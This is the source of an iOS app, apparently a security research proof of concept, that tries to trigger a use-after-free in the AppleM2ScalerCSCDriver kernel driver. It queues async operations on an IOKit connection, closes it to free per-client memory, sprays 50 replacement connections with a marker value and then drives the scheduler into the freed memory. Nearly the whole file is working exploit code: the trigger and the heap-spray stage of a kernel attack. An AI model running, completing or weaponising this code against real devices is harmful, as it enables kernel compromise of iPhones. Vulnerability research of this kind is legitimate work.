// ScalerTeardownUAF.m — UAF via async submit + connection teardown // 1. Submit credit=0xDEAD0001 async ops (distinctive marker, in scheduler heap) // 2. Close connection (frees per_client + ops, stale heap entries remain) // 3. Spray replacement objects (new connections with credit=0xBEEF0002) // 4. Dynamic Island triggers scheduler → reads freed/sprayed memory → x9=BEEF0002 // If crash with DIFFERENT x9 than our credit → UAF CONFIRMED // Bundle: com.research.iphoneprobe #import #import #import #import #include #include #define TSD_SIZE 0x1B0 @interface UAFVC : UIViewController @property (nonatomic, strong) UITextView *logView; @property (nonatomic, strong) UIButton *clipBtn; @property (nonatomic, strong) UIButton *startBtn; @property (nonatomic, strong) NSMutableString *logBuf; @end @implementation UAFVC - (void)viewDidLoad { [super viewDidLoad]; self.view.backgroundColor = [UIColor blackColor]; self.logBuf = [NSMutableString new]; self.clipBtn = [UIButton buttonWithType:UIButtonTypeSystem]; self.clipBtn.frame = CGRectMake(10, 50, 100, 36); [self.clipBtn setTitle:@"COPY" forState:UIControlStateNormal]; [self.clipBtn setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal]; self.clipBtn.backgroundColor = [UIColor colorWithRed:0.2 green:0.5 blue:0.2 alpha:1.0]; self.clipBtn.layer.cornerRadius = 6; [self.clipBtn addTarget:self action:@selector(doClip) forControlEvents:UIControlEventTouchUpInside]; [self.view addSubview:self.clipBtn]; self.startBtn = [UIButton buttonWithType:UIButtonTypeSystem]; self.startBtn.frame = CGRectMake(120, 50, 260, 36); [self.startBtn setTitle:@"TEARDOWN UAF" forState:UIControlStateNormal]; [self.startBtn setTitleColor:[UIColor whiteColor] forState:UIControlStateNormal]; self.startBtn.backgroundColor = [UIColor colorWithRed:0.8 green:0.0 blue:0.0 alpha:1.0]; self.startBtn.layer.cornerRadius = 6; [self.startBtn addTarget:self action:@selector(startTest) forControlEvents:UIControlEventTouchUpInside]; [self.view addSubview:self.startBtn]; CGFloat y = 94; self.logView = [[UITextView alloc] initWithFrame:CGRectMake(10, y, self.view.bounds.size.width - 20, self.view.bounds.size.height - y - 10)]; self.logView.backgroundColor = [UIColor colorWithWhite:0.1 alpha:1.0]; self.logView.textColor = [UIColor greenColor]; self.logView.font = [UIFont fontWithName:@"Menlo" size:9]; self.logView.editable = NO; self.logView.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight; [self.view addSubview:self.logView]; [self log:@"=== TEARDOWN UAF TEST ==="]; [self log:@"1. Submit async ops with credit=0xDEAD0001"]; [self log:@"2. Close connection (free per_client + ops)"]; [self log:@"3. Spray 50 new connections"]; [self log:@"4. Dynamic Island → if crash, check x9"]; [self log:@"x9=DEAD0001 → stale entry, same credit"]; [self log:@"x9=DIFFERENT → freed memory reused → UAF!"]; } - (void)log:(NSString *)msg { NSString *line = [NSString stringWithFormat:@"%@\n", msg]; [self.logBuf appendString:line]; NSLog(@"[UAF] %@", msg); dispatch_async(dispatch_get_main_queue(), ^{ self.logView.text = self.logBuf; if (self.logBuf.length > 0) [self.logView scrollRangeToVisible:NSMakeRange(self.logBuf.length - 1, 1)]; }); } - (void)doClip { [UIPasteboard generalPasteboard].string = self.logBuf; [self log:@"=== COPIED ==="]; } - (void)startTest { self.startBtn.enabled = NO; dispatch_async(dispatch_get_global_queue(0, 0), ^{ [self runUAF]; }); } - (void)runUAF { mach_port_t mp; IOMainPort(kIOMainPortDefault, &mp); io_service_t svc = IOServiceGetMatchingService(mp, IOServiceMatching("AppleM2ScalerCSCDriver")); if (!svc) { [self log:@"No driver"]; return; } // ============ STEP 1: Open victim connection ============ [self log:@"\n=== STEP 1: Open victim connection ==="]; io_connect_t victim = IO_OBJECT_NULL; IOReturn kr = IOServiceOpen(svc, mach_task_self(), 0, &victim); [self log:[NSString stringWithFormat:@"Victim conn: 0x%x (kr=0x%x)", victim, kr]]; NSDictionary *sp = @{(id)kIOSurfaceWidth:@(32),(id)kIOSurfaceHeight:@(32), (id)kIOSurfaceBytesPerElement:@(4),(id)kIOSurfacePixelFormat:@(0x42475241)}; IOSurfaceRef srcS = IOSurfaceCreate((__bridge CFDictionaryRef)sp); IOSurfaceRef dstS = IOSurfaceCreate((__bridge CFDictionaryRef)sp); uint32_t srcID = IOSurfaceGetID(srcS), dstID = IOSurfaceGetID(dstS); uint8_t baseline[TSD_SIZE]; memset(baseline, 0, TSD_SIZE); *(uint32_t *)(baseline + 0) = srcID; *(uint32_t *)(baseline + 4) = dstID; // Sync baseline first kr = IOConnectCallMethod(victim, 1, NULL, 0, baseline, TSD_SIZE, NULL, NULL, NULL, NULL); [self log:[NSString stringWithFormat:@"Sync baseline: 0x%x", kr]]; // ============ STEP 2: Set credit and submit async ops ============ [self log:@"\n=== STEP 2: Set credit=0xDEAD0001, submit 50 async ops ==="]; { uint8_t s10[0x18]; memset(s10, 0, 0x18); *(uint32_t *)s10 = 0xDEAD0001; // Distinctive marker uint64_t sc[3] = {0,0,0}; kr = IOConnectCallMethod(victim, 10, sc, 3, s10, 0x18, NULL, NULL, NULL, NULL); [self log:[NSString stringWithFormat:@"Sel 10 (credit=0xDEAD0001): 0x%x", kr]]; } // Submit async ops (TSD[0x008]=1) int asyncOK = 0; for (int i = 0; i < 50; i++) { uint8_t async_tsd[TSD_SIZE]; memcpy(async_tsd, baseline, TSD_SIZE); *(uint64_t *)(async_tsd + 0x008) = 1; // Async path kr = IOConnectCallMethod(victim, 1, NULL, 0, async_tsd, TSD_SIZE, NULL, NULL, NULL, NULL); if (kr == 0) asyncOK++; } [self log:[NSString stringWithFormat:@"Async ops: %d/50 OK", asyncOK]]; [self log:@"50 entries with credit=0xDEAD0001 now in scheduler heap"]; // ============ STEP 3: Close victim connection ============ [self log:@"\n=== STEP 3: CLOSING victim connection ==="]; [self log:@"This frees per_client (0x170 bytes) + operation objects"]; [self log:@"If scheduler heap retains entries → dangling pointers"]; kr = IOServiceClose(victim); [self log:[NSString stringWithFormat:@"IOServiceClose: 0x%x", kr]]; [self log:@"Victim freed. Scheduler may still reference freed memory."]; // ============ STEP 4: Spray replacement objects ============ [self log:@"\n=== STEP 4: Spray 50 new connections ==="]; [self log:@"Each allocates a 0x170-byte per_client object"]; [self log:@"These may fill the freed victim's memory slot"]; io_connect_t spray[50]; int sprayOK = 0; for (int i = 0; i < 50; i++) { spray[i] = IO_OBJECT_NULL; kr = IOServiceOpen(svc, mach_task_self(), 0, &spray[i]); if (kr == 0 && spray[i]) { sprayOK++; // Set a DIFFERENT credit on spray connections uint8_t s10[0x18]; memset(s10, 0, 0x18); *(uint32_t *)s10 = 0xBEEF0002; // Different marker uint64_t sc[3] = {0,0,0}; IOConnectCallMethod(spray[i], 10, sc, 3, s10, 0x18, NULL, NULL, NULL, NULL); } } [self log:[NSString stringWithFormat:@"Spray: %d/50 connections opened", sprayOK]]; [self log:@"Each has credit=0xBEEF0002 at per_client+0x158"]; // ============ STEP 5: Trigger scheduler ============ [self log:@"\n=== STEP 5: Trigger scheduler ==="]; [self log:@">>> TAP DYNAMIC ISLAND NOW <<<"]; [self log:@""]; [self log:@"If x9 = 0xDEAD0001 → stale entry, credit from victim"]; [self log:@"If x9 = 0xBEEF0002 → UAF! Freed memory reused by spray!"]; [self log:@"If x9 = something else → freed memory reused by system"]; [self log:@"If no crash → entries were properly cleaned up"]; // Keep alive and submit ops on spray connections to trigger scheduling [self log:@"\nSubmitting ops on spray connections to trigger scheduling..."]; for (int round = 0; round < 100; round++) { for (int i = 0; i < sprayOK && i < 50; i++) { if (spray[i]) { uint8_t async_tsd[TSD_SIZE]; memcpy(async_tsd, baseline, TSD_SIZE); *(uint64_t *)(async_tsd + 0x008) = 1; IOConnectCallMethod(spray[i], 1, NULL, 0, async_tsd, TSD_SIZE, NULL, NULL, NULL, NULL); } } if (round % 10 == 0) [self log:[NSString stringWithFormat:@" Round %d/100 (tap Dynamic Island!)", round]]; usleep(100000); } [self log:@"\n=== 100 rounds done. Tap Dynamic Island if not crashed yet ==="]; IOObjectRelease(svc); while (1) { sleep(5); [self log:@" alive..."]; } } @end @interface AppDelegate : UIResponder @property (strong, nonatomic) UIWindow *window; @end @implementation AppDelegate - (BOOL)application:(UIApplication *)app didFinishLaunchingWithOptions:(NSDictionary *)opts { self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds]; self.window.rootViewController = [[UAFVC alloc] init]; [self.window makeKeyAndVisible]; return YES; } @end int main(int argc, char *argv[]) { @autoreleasepool { return UIApplicationMain(argc, argv, nil, NSStringFromClass([AppDelegate class])); } }